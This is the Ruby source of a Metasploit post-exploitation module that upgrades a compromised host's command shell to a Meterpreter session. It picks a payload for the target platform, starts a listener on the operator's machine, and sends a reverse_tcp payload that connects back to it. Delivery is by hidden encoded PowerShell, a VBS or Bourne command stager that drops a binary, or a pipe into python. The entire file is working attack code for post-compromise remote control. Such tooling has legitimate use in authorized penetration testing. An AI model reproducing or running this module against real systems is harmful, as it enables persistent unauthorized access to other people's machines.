##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'

class MetasploitModule < Msf::Post
  include Exploit::Powershell
  include Post::Windows::Powershell

  def initialize(info = {})
    super(update_info(info,
        'Name'          => 'Shell to Meterpreter Upgrade',
        'Description'   => %q{
          This module attempts to upgrade a command shell to meterpreter. The shell
          platform is automatically detected and the best version of meterpreter for
          the target is selected. Currently meterpreter/reverse_tcp is used on Windows
          and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
        },
        'License'       => MSF_LICENSE,
        'Author'        => ['Tom Sellers <tom [at] fadedcode.net>'],
        'Platform'      => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
        'SessionTypes'  => [ 'shell' ]
      ))
    register_options(
      [
        OptAddressLocal.new('LHOST',
          [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
        OptInt.new('LPORT',
          [true, 'Port for payload to connect to.', 4433]),
        OptBool.new('HANDLER',
          [ true, 'Start an exploit/multi/handler to receive the connection', true])
      ])
    register_advanced_options([
      OptInt.new('HANDLE_TIMEOUT',
        [true, 'How long to wait (in seconds) for the session to come back.', 30]),
      OptEnum.new('WIN_TRANSFER',
        [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
      OptString.new('PAYLOAD_OVERRIDE',
        [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
      OptString.new('BOURNE_PATH',
        [false, 'Remote path to drop binary']),
      OptString.new('BOURNE_FILE',
        [false, 'Remote filename to use for dropped binary'])
    ])
    deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
  end

  # Run method for when run command is issued
  def run
    print_status("Upgrading session ID: #{datastore['SESSION']}")

    if session.type =~ /meterpreter/
      print_error("Shell is already Meterpreter.")
      return nil
    end

    # Try hard to find a valid LHOST value in order to
    # make running 'sessions -u' as robust as possible.
    if datastore['LHOST']
      lhost = datastore['LHOST']
    elsif framework.datastore['LHOST']
      lhost = framework.datastore['LHOST']
    else
      lhost = session.tunnel_local.split(':')[0]
      if lhost == 'Local Pipe'
        print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
        return
      end
    end

    # If nothing else works...
    lhost = Rex::Socket.source_address if lhost.blank?

    lport = datastore['LPORT']

    # Handle platform specific variables and settings
    case session.platform
    when 'windows'
      platform = 'windows'
      payload_name = 'windows/meterpreter/reverse_tcp'
      lplat = [Msf::Platform::Windows]
      larch = [ARCH_X86]
      psh_arch = 'x86'
      vprint_status("Platform: Windows")
    when 'osx'
      platform = 'python'
      payload_name = 'python/meterpreter/reverse_tcp'
      vprint_status("Platform: OS X")
    when 'solaris'
      platform = 'python'
      payload_name = 'python/meterpreter/reverse_tcp'
      vprint_status("Platform: Solaris")
    else
      # Find the best fit, be specific with uname to avoid matching hostname or something else
      target_info = cmd_exec('uname -ms')
      if target_info =~ /linux/i && target_info =~ /86/
        # Handle linux shells that were identified as 'unix'
        platform = 'linux'
        payload_name = 'linux/x86/meterpreter/reverse_tcp'
        lplat = [Msf::Platform::Linux]
        larch = [ARCH_X86]
        vprint_status("Platform: Linux")
      elsif target_info =~ /darwin/i
        platform = 'python'
        payload_name = 'python/meterpreter/reverse_tcp'
        vprint_status("Platform: OS X")
      elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
        # Generic fallback for OSX, Solaris, Linux/ARM
        platform = 'python'
        payload_name = 'python/meterpreter/reverse_tcp'
        vprint_status("Platform: Python [fallback]")
      end
    end
    payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
    vprint_status("Upgrade payload: #{payload_name}")

    if platform.blank?
      print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
      return nil
    end

    payload_data = generate_payload(lhost, lport, payload_name)
    if payload_data.blank?
      print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
      return nil
    end

    if datastore['HANDLER']
      listener_job_id = create_multihandler(lhost, lport, payload_name)
      if listener_job_id.blank?
        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
        return nil
      end
    end

    case platform
    when 'windows'
      if session.type == 'powershell'
        template_path = Rex::Powershell::Templates::TEMPLATE_DIR
        psh_payload = case datastore['Powershell::method']
                      when 'net'
                        Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
                      when 'reflection'
                        Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
                      when 'old'
                        Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
                      when 'msil'
                        fail RuntimeError, 'MSIL Powershell method no longer exists'
                      else
                        fail RuntimeError, 'No Powershell method specified'
                      end

        # prepend_sleep => 1
        psh_payload = 'Start-Sleep -s 1;' << psh_payload

        encoded_psh_payload = encode_script(psh_payload)
        cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
      else # shell
        if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
          vprint_status("Transfer method: Powershell")
          psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
          cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
        else
          print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
          vprint_status("Transfer method: VBS [fallback]")
          exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
          aborted = transmit_payload(exe)
        end
      end
    when 'python'
      vprint_status("Transfer method: Python")
      cmd_exec("echo \"#{payload_data}\" | python")
    else
      vprint_status("Transfer method: Bourne shell [fallback]")
      exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
      aborted = transmit_payload(exe)
    end

    if datastore['HANDLER']
      vprint_status("Cleaning up handler")
      cleanup_handler(listener_job_id, aborted)
    end
    return nil
  end

  def transmit_payload(exe)
    #
    # Generate the stager command array
    #
    linemax = 1700
    if (session.exploit_datastore['LineMax'])
      linemax = session.exploit_datastore['LineMax'].to_i
    end
    opts = {
      :linemax => linemax,
      #:nodelete => true # keep temp files (for debugging)
    }
    if session.platform == 'windows'
      opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64')
      cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
    else
      opts[:background] = true
      opts[:temp] = datastore['BOURNE_PATH']
      opts[:file] = datastore['BOURNE_FILE']
      cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
      # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
      #       as /bin/sh on OS X doesn't support the -n option on echo
    end

    cmds = cmdstager.generate(opts)
    if cmds.nil? || cmds.length < 1
      print_error('The command stager could not be generated.')
      raise ArgumentError
    end

    #
    # Calculate the total size
    #
    total_bytes = 0
    cmds.each { |cmd| total_bytes += cmd.length }

    vprint_status("Starting transfer...")
    begin
      #
      # Run the commands one at a time
      #
      sent = 0
      aborted = false
      cmds.each { |cmd|
        ret = cmd_exec(cmd)
        if !ret
          aborted = true
        else
          ret.strip!
          aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
        end
        if aborted
          print_error('Error: Unable to execute the following command: ' + cmd.inspect)
          print_error('Output: ' + ret.inspect) if ret && !ret.empty?
          break
        end

        sent += cmd.length

        progress(total_bytes, sent)
      }
    rescue ::Interrupt
      # TODO: cleanup partial uploads!
      aborted = true
    rescue => e
      print_error("Error: #{e}")
      aborted = true
    end

    return aborted
  end

  def cleanup_handler(listener_job_id, aborted)
    # Return if the job has already finished
    return nil if framework.jobs[listener_job_id].nil?
    framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
      if !aborted
        timer = 0
        vprint_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back")
        while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
          sleep(1)
          timer += 1
        end
      end
      print_status('Stopping exploit/multi/handler')
      framework.jobs.stop_job(listener_job_id)
    }
  end

  #
  # Show the progress of the upload
  #
  def progress(total, sent)
    done = (sent.to_f / total.to_f) * 100
    print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
  end

  # Method for checking if a listener for a given IP and port is present
  # will return true if a conflict exists and false if none is found
  def check_for_listener(lhost, lport)
    client.framework.jobs.each do |k, j|
      if j.name =~ / multi\/handler/
        current_id = j.jid
        current_lhost = j.ctx[0].datastore['LHOST']
        current_lport = j.ctx[0].datastore['LPORT']
        if lhost == current_lhost && lport == current_lport.to_i
          print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
          return true
        end
      end
    end
    return false
  end

  # Starts a exploit/multi/handler session
  def create_multihandler(lhost, lport, payload_name)
    pay = client.framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')
    if !check_for_listener(lhost, lport)
      # Set options for module
      mh = client.framework.exploits.create('multi/handler')
      mh.share_datastore(pay.datastore)
      mh.datastore['WORKSPACE'] = client.workspace
      mh.datastore['PAYLOAD'] = payload_name
      mh.datastore['EXITFUNC'] = 'thread'
      mh.datastore['ExitOnSession'] = true
      # Validate module options
      mh.options.validate(mh.datastore)
      # Execute showing output
      mh.exploit_simple(
          'Payload'     => mh.datastore['PAYLOAD'],
          'LocalInput'  => self.user_input,
          'LocalOutput' => self.user_output,
          'RunAsJob'    => true
        )

      # Check to make sure that the handler is actually valid
      # If another process has the port open, then the handler will fail
      # but it takes a few seconds to do so.  The module needs to give
      # the handler time to fail or the resulting connections from the
      # target could end up on on a different handler with the wrong payload
      # or dropped entirely.
      select(nil, nil, nil, 5)
      return nil if framework.jobs[mh.job_id.to_s].nil?

      return mh.job_id.to_s
    else
      print_error('A job is listening on the same local port')
      return nil
    end
  end

  def generate_payload(lhost, lport, payload_name)
    payload = framework.payloads.create(payload_name)
    options = "LHOST=#{lhost} LPORT=#{lport}"
    buf = payload.generate_simple('OptionStr' => options)
    buf
  end
end